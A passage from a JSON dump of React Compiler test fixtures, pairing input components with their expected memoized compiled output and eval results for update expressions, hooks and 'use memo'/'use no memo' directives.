    "content": "\n## Input\n\n```javascript\nfunction Component({a: a, b: [b], c: {c}}) {\n  let d = a++;\n  let e = ++a;\n  let f = b--;\n  let g = --b;\n  let h = c++;\n  let i = --c;\n  return [a, b, c, d, e, f, g, h, i];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2, b: [3], c: {c: 4}}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(10);\n  let { a, b: t1, c: t2 } = t0;\n  let [b] = t1;\n  let { c } = t2;\n  const d = a++;\n  const e = ++a;\n  const f = b--;\n  const g = --b;\n  const h = c++;\n  const i = --c;\n  let t3;\n  if (\n    $[0] !== a ||\n    $[1] !== b ||\n    $[2] !== c ||\n    $[3] !== d ||\n    $[4] !== e ||\n    $[5] !== f ||\n    $[6] !== g ||\n    $[7] !== h ||\n    $[8] !== i\n  ) {\n    t3 = [a, b, c, d, e, f, g, h, i];\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = d;\n    $[4] = e;\n    $[5] = f;\n    $[6] = g;\n    $[7] = h;\n    $[8] = i;\n    $[9] = t3;\n  } else {\n    t3 = $[9];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 2, b: [3], c: { c: 4 } }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [4,1,4,2,4,3,1,4,4]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-1.js",
    "content": "function Component({a: a, b: [b], c: {c}}) {\n  let d = a++;\n  let e = ++a;\n  let f = b--;\n  let g = --b;\n  let h = c++;\n  let i = --c;\n  return [a, b, c, d, e, f, g, h, i];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2, b: [3], c: {c: 4}}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-2.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(a) {\n  let d = a++;\n  let e = ++a;\n  return [a, d, e];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [2],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(a) {\n  const $ = _c(4);\n  const d = a++;\n  const e = ++a;\n  let t0;\n  if ($[0] !== a || $[1] !== d || $[2] !== e) {\n    t0 = [a, d, e];\n    $[0] = a;\n    $[1] = d;\n    $[2] = e;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [2],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [4,2,4]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-2.js",
    "content": "function Component(a) {\n  let d = a++;\n  let e = ++a;\n  return [a, d, e];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [2],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-3.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({c}) {\n  let h = c++;\n  let i = --c;\n  return [c, h, i];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{c: 4}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(4);\n  let { c } = t0;\n  const h = c++;\n  const i = --c;\n  let t1;\n  if ($[0] !== c || $[1] !== h || $[2] !== i) {\n    t1 = [c, h, i];\n    $[0] = c;\n    $[1] = h;\n    $[2] = i;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ c: 4 }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [4,4,4]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-3.js",
    "content": "function Component({c}) {\n  let h = c++;\n  let i = --c;\n  return [c, h, i];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{c: 4}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-4.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component([b]) {\n  let f = b--;\n  let g = --b;\n  return [b, f, g];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [[3]],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(4);\n  let [b] = t0;\n  const f = b--;\n  const g = --b;\n  let t1;\n  if ($[0] !== b || $[1] !== f || $[2] !== g) {\n    t1 = [b, f, g];\n    $[0] = b;\n    $[1] = f;\n    $[2] = g;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [[3]],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [1,3,1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-4.js",
    "content": "function Component([b]) {\n  let f = b--;\n  let g = --b;\n  return [b, f, g];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [[3]],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(props: {x: number}) {\n  let x = props.x;\n  let y = x++;\n  let z = x--;\n  return {x, y, z};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{x: 1}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(props) {\n  const $ = _c(4);\n  let x = props.x;\n  const y = x++;\n  const z = x--;\n  let t0;\n  if ($[0] !== x || $[1] !== y || $[2] !== z) {\n    t0 = { x, y, z };\n    $[0] = x;\n    $[1] = y;\n    $[2] = z;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{ x: 1 }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":1,\"y\":1,\"z\":2}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression.ts",
    "content": "function foo(props: {x: number}) {\n  let x = props.x;\n  let y = x++;\n  let z = x--;\n  return {x, y, z};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{x: 1}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-global-in-callback.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nlet renderCount = 0;\nfunction Foo() {\n  const cb = () => {\n    renderCount += 1;\n    return renderCount;\n  };\n  return <Stringify cb={cb} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nlet renderCount = 0;\nfunction Foo() {\n  const $ = _c(1);\n  const cb = _temp;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Stringify cb={cb} shouldInvokeFns={true} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {\n  renderCount = renderCount + 1;\n  return renderCount;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"cb\":{\"kind\":\"Function\",\"result\":1},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-global-in-callback.tsx",
    "content": "import {Stringify} from 'shared-runtime';\n\nlet renderCount = 0;\nfunction Foo() {\n  const cb = () => {\n    renderCount += 1;\n    return renderCount;\n  };\n  return <Stringify cb={cb} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-callback-simple.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nfunction component() {\n  const [count, setCount] = useState(0);\n  const increment = useCallback(() => setCount(count + 1));\n\n  return <Foo onClick={increment}></Foo>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateExhaustiveMemoizationDependencies:false\nfunction component() {\n  const $ = _c(4);\n  const [count, setCount] = useState(0);\n  let t0;\n  if ($[0] !== count) {\n    t0 = () => setCount(count + 1);\n    $[0] = count;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const increment = t0;\n  let t1;\n  if ($[2] !== increment) {\n    t1 = <Foo onClick={increment} />;\n    $[2] = increment;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-callback-simple.js",
    "content": "// @validateExhaustiveMemoizationDependencies:false\nfunction component() {\n  const [count, setCount] = useState(0);\n  const increment = useCallback(() => setCount(count + 1));\n\n  return <Foo onClick={increment}></Foo>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-effect-cleanup-reassigns.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect, useState} from 'react';\n\n/**\n * Example of a function expression whose return value shouldn't have\n * a \"freeze\" effect on all operands.\n *\n * This is because the function expression is passed to `useEffect` and\n * thus is not a render function. `cleanedUp` is also created within\n * the effect and is not a render variable.\n */\nfunction Component({prop}) {\n  const [cleanupCount, setCleanupCount] = useState(0);\n\n  useEffect(() => {\n    let cleanedUp = false;\n    setTimeout(() => {\n      if (!cleanedUp) {\n        cleanedUp = true;\n        setCleanupCount(c => c + 1);\n      }\n    }, 0);\n    // This return value should not have freeze effects\n    // on its operands\n    return () => {\n      if (!cleanedUp) {\n        cleanedUp = true;\n        setCleanupCount(c => c + 1);\n      }\n    };\n  }, [prop]);\n  return <div>{cleanupCount}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prop: 5}],\n  sequentialRenders: [{prop: 5}, {prop: 5}, {prop: 6}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useEffect, useState } from \"react\";\n\n/**\n * Example of a function expression whose return value shouldn't have\n * a \"freeze\" effect on all operands.\n *\n * This is because the function expression is passed to `useEffect` and\n * thus is not a render function. `cleanedUp` is also created within\n * the effect and is not a render variable.\n */\nfunction Component(t0) {\n  const $ = _c(5);\n  const { prop } = t0;\n  const [cleanupCount, setCleanupCount] = useState(0);\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => {\n      let cleanedUp = false;\n      setTimeout(\n        () => {\n          if (!cleanedUp) {\n            cleanedUp = true;\n            setCleanupCount(_temp);\n          }\n        },\n\n        0,\n      );\n\n      return () => {\n        if (!cleanedUp) {\n          cleanedUp = true;\n          setCleanupCount(_temp2);\n        }\n      };\n    };\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  let t2;\n  if ($[1] !== prop) {\n    t2 = [prop];\n    $[1] = prop;\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  useEffect(t1, t2);\n  let t3;\n  if ($[3] !== cleanupCount) {\n    t3 = <div>{cleanupCount}</div>;\n    $[3] = cleanupCount;\n    $[4] = t3;\n  } else {\n    t3 = $[4];\n  }\n  return t3;\n}\nfunction _temp2(c_0) {\n  return c_0 + 1;\n}\nfunction _temp(c) {\n  return c + 1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ prop: 5 }],\n  sequentialRenders: [{ prop: 5 }, { prop: 5 }, { prop: 6 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>0</div>\n<div>0</div>\n<div>1</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-effect-cleanup-reassigns.js",
    "content": "import {useEffect, useState} from 'react';\n\n/**\n * Example of a function expression whose return value shouldn't have\n * a \"freeze\" effect on all operands.\n *\n * This is because the function expression is passed to `useEffect` and\n * thus is not a render function. `cleanedUp` is also created within\n * the effect and is not a render variable.\n */\nfunction Component({prop}) {\n  const [cleanupCount, setCleanupCount] = useState(0);\n\n  useEffect(() => {\n    let cleanedUp = false;\n    setTimeout(() => {\n      if (!cleanedUp) {\n        cleanedUp = true;\n        setCleanupCount(c => c + 1);\n      }\n    }, 0);\n    // This return value should not have freeze effects\n    // on its operands\n    return () => {\n      if (!cleanedUp) {\n        cleanedUp = true;\n        setCleanupCount(c => c + 1);\n      }\n    };\n  }, [prop]);\n  return <div>{cleanupCount}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prop: 5}],\n  sequentialRenders: [{prop: 5}, {prop: 5}, {prop: 6}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-noemit.expect.md",
    "content": "\n## Input\n\n```javascript\n// @outputMode:\"lint\"\n\nfunction Foo() {\n  'use memo';\n  return <button onClick={() => alert('hello!')}>Click me!</button>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\n// @outputMode:\"lint\"\n\nfunction Foo() {\n  \"use memo\";\n  return <button onClick={() => alert(\"hello!\")}>Click me!</button>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <button>Click me!</button>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-noemit.js",
    "content": "// @outputMode:\"lint\"\n\nfunction Foo() {\n  'use memo';\n  return <button onClick={() => alert('hello!')}>Click me!</button>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-simple.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  'use memo';\n  let x = [props.foo];\n  return <div x={x}>\"foo\"</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 1}],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  \"use memo\";\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.foo) {\n    const x = [props.foo];\n    t0 = <div x={x}>\"foo\"</div>;\n    $[0] = props.foo;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ foo: 1 }],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div x=\"1\">\"foo\"</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-memo-simple.js",
    "content": "function Component(props) {\n  'use memo';\n  let x = [props.foo];\n  return <div x={x}>\"foo\"</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 1}],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-module-level.expect.md",
    "content": "\n## Input\n\n```javascript\n'use no forget';\n\nexport default function foo(x, y) {\n  if (x) {\n    return foo(false, y);\n  }\n  return [y * 10];\n}\n\n```\n\n## Code\n\n```javascript\n\"use no forget\";\n\nexport default function foo(x, y) {\n  if (x) {\n    return foo(false, y);\n  }\n  return [y * 10];\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-module-level.js",
    "content": "'use no forget';\n\nexport default function foo(x, y) {\n  if (x) {\n    return foo(false, y);\n  }\n  return [y * 10];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-multiple-with-eslint-suppression.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useRef} from 'react';\n\nconst useControllableState = options => {};\nfunction NoopComponent() {}\n\nfunction Component() {\n  'use no forget';\n  const ref = useRef(null);\n  // eslint-disable-next-line react-hooks/rules-of-hooks\n  ref.current = 'bad';\n  return <button ref={ref} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useRef } from \"react\";\n\nconst useControllableState = (options) => {};\nfunction NoopComponent() {}\n\nfunction Component() {\n  \"use no forget\";\n  const ref = useRef(null);\n  // eslint-disable-next-line react-hooks/rules-of-hooks\n  ref.current = \"bad\";\n  return <button ref={ref} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <button></button>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-multiple-with-eslint-suppression.js",
    "content": "import {useRef} from 'react';\n\nconst useControllableState = options => {};\nfunction NoopComponent() {}\n\nfunction Component() {\n  'use no forget';\n  const ref = useRef(null);\n  // eslint-disable-next-line react-hooks/rules-of-hooks\n  ref.current = 'bad';\n  return <button ref={ref} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-eslint-suppression.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useRef} from 'react';\n\nfunction Component() {\n  'use no forget';\n  const ref = useRef(null);\n  // eslint-disable-next-line react-hooks/rules-of-hooks\n  ref.current = 'bad';\n  return <button ref={ref} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { useRef } from \"react\";\n\nfunction Component() {\n  \"use no forget\";\n  const ref = useRef(null);\n  // eslint-disable-next-line react-hooks/rules-of-hooks\n  ref.current = \"bad\";\n  return <button ref={ref} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <button></button>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-eslint-suppression.js",
    "content": "import {useRef} from 'react';\n\nfunction Component() {\n  'use no forget';\n  const ref = useRef(null);\n  // eslint-disable-next-line react-hooks/rules-of-hooks\n  ref.current = 'bad';\n  return <button ref={ref} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-no-errors.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled\nfunction Component() {\n  'use no forget';\n  return <div>Hello World</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled\nfunction Component() {\n  \"use no forget\";\n  return <div>Hello World</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>Hello World</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-no-errors.js",
    "content": "// @expectNothingCompiled\nfunction Component() {\n  'use no forget';\n  return <div>Hello World</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-level.expect.md",
    "content": "\n## Input\n\n```javascript\n'use no memo';\n\nexport default function foo(x, y) {\n  if (x) {\n    return foo(false, y);\n  }\n  return [y * 10];\n}\n\n```\n\n## Code\n\n```javascript\n\"use no memo\";\n\nexport default function foo(x, y) {\n  if (x) {\n    return foo(false, y);\n  }\n  return [y * 10];\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-level.js",
    "content": "'use no memo';\n\nexport default function foo(x, y) {\n  if (x) {\n    return foo(false, y);\n  }\n  return [y * 10];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-scope-usememo-function-scope.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"all\"\n'use no memo';\n\nfunction TestComponent({x}) {\n  'use memo';\n  return <Button>{x}</Button>;\n}\n\n```\n\n## Code\n\n```javascript\n// @compilationMode:\"all\"\n\"use no memo\";\n\nfunction TestComponent({ x }) {\n  \"use memo\";\n  return <Button>{x}</Button>;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-scope-usememo-function-scope.js",
    "content": "// @compilationMode:\"all\"\n'use no memo';\n\nfunction TestComponent({x}) {\n  'use memo';\n  return <Button>{x}</Button>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-simple.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled\nfunction Component(props) {\n  'use no memo';\n  let x = [props.foo];\n  return <div x={x}>\"foo\"</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 1}],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled\nfunction Component(props) {\n  \"use no memo\";\n  let x = [props.foo];\n  return <div x={x}>\"foo\"</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ foo: 1 }],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div x=\"1\">\"foo\"</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-simple.js",
    "content": "// @expectNothingCompiled\nfunction Component(props) {\n  'use no memo';\n  let x = [props.foo];\n  return <div x={x}>\"foo\"</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 1}],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-call-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {ValidateMemoization} from 'shared-runtime';\nimport {use, useMemo} from 'react';\n\nconst FooContext = React.createContext(null);\nfunction Component(props) {\n  return (\n    <FooContext.Provider value={props.value}>\n      <Inner />\n    </FooContext.Provider>\n  );\n}\n\nfunction Inner(props) {\n  const input = use(FooContext);\n  const output = useMemo(() => [input], [input]);\n  return <ValidateMemoization inputs={[input]} output={output} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [\n    {value: null},\n    {value: 42},\n    {value: 42},\n    {value: null},\n    {value: null},\n    {value: 42},\n    {value: null},\n    {value: 42},\n    {value: null},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { ValidateMemoization } from \"shared-runtime\";\nimport { use, useMemo } from \"react\";\n\nconst FooContext = React.createContext(null);\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Inner />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  let t1;\n  if ($[1] !== props.value) {\n    t1 = <FooContext.Provider value={props.value}>{t0}</FooContext.Provider>;\n    $[1] = props.value;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nfunction Inner(props) {\n  const $ = _c(7);\n  const input = use(FooContext);\n  let t0;\n  if ($[0] !== input) {\n    t0 = [input];\n    $[0] = input;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const output = t0;\n  let t1;\n  if ($[2] !== input) {\n    t1 = [input];\n    $[2] = input;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  let t2;\n  if ($[4] !== output || $[5] !== t1) {\n    t2 = <ValidateMemoization inputs={t1} output={output} />;\n    $[4] = output;\n    $[5] = t1;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n  sequentialRenders: [\n    { value: null },\n    { value: 42 },\n    { value: 42 },\n    { value: null },\n    { value: null },\n    { value: 42 },\n    { value: null },\n    { value: 42 },\n    { value: null },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[null],\"output\":[\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"inputs\":[42],\"output\":[42]}</div>\n<div>{\"inputs\":[42],\"output\":[42]}</div>\n<div>{\"inputs\":[null],\"output\":[\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"inputs\":[null],\"output\":[\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"inputs\":[42],\"output\":[42]}</div>\n<div>{\"inputs\":[null],\"output\":[\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"inputs\":[42],\"output\":[42]}</div>\n<div>{\"inputs\":[null],\"output\":[\"[[ cyclic ref *2 ]]\"]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-call-expression.js",
    "content": "import {ValidateMemoization} from 'shared-runtime';\nimport {use, useMemo} from 'react';\n\nconst FooContext = React.createContext(null);\nfunction Component(props) {\n  return (\n    <FooContext.Provider value={props.value}>\n      <Inner />\n    </FooContext.Provider>\n  );\n}\n\nfunction Inner(props) {\n  const input = use(FooContext);\n  const output = useMemo(() => [input], [input]);\n  return <ValidateMemoization inputs={[input]} output={output} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [\n    {value: null},\n    {value: 42},\n    {value: 42},\n    {value: null},\n    {value: null},\n    {value: 42},\n    {value: null},\n    {value: 42},\n    {value: null},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-conditional.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {ValidateMemoization} from 'shared-runtime';\nimport {use, useMemo} from 'react';\n\nconst FooContext = React.createContext(null);\nfunction Component(props) {\n  return (\n    <FooContext.Provider value={props.value}>\n      <Inner cond={props.cond} />\n    </FooContext.Provider>\n  );\n}\n\nfunction Inner(props) {\n  let input = null;\n  if (props.cond) {\n    input = use(FooContext);\n  }\n  const output = useMemo(() => [input], [input]);\n  return <ValidateMemoization inputs={[input]} output={output} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, value: 42}],\n  sequentialRenders: [\n    // change cond true->false\n    {cond: true, value: 42},\n    {cond: false, value: 42},\n\n    // change value\n    {cond: false, value: null},\n    {cond: false, value: 42},\n\n    // change cond false->true\n    {cond: true, value: 42},\n\n    // change cond true->false, change unobserved value, change cond false->true\n    {cond: false, value: 42},\n    {cond: false, value: null},\n    {cond: true, value: 42},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { ValidateMemoization } from \"shared-runtime\";\nimport { use, useMemo } from \"react\";\n\nconst FooContext = React.createContext(null);\nfunction Component(props) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== props.cond) {\n    t0 = <Inner cond={props.cond} />;\n    $[0] = props.cond;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== props.value || $[3] !== t0) {\n    t1 = <FooContext.Provider value={props.value}>{t0}</FooContext.Provider>;\n    $[2] = props.value;\n    $[3] = t0;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  return t1;\n}\n\nfunction 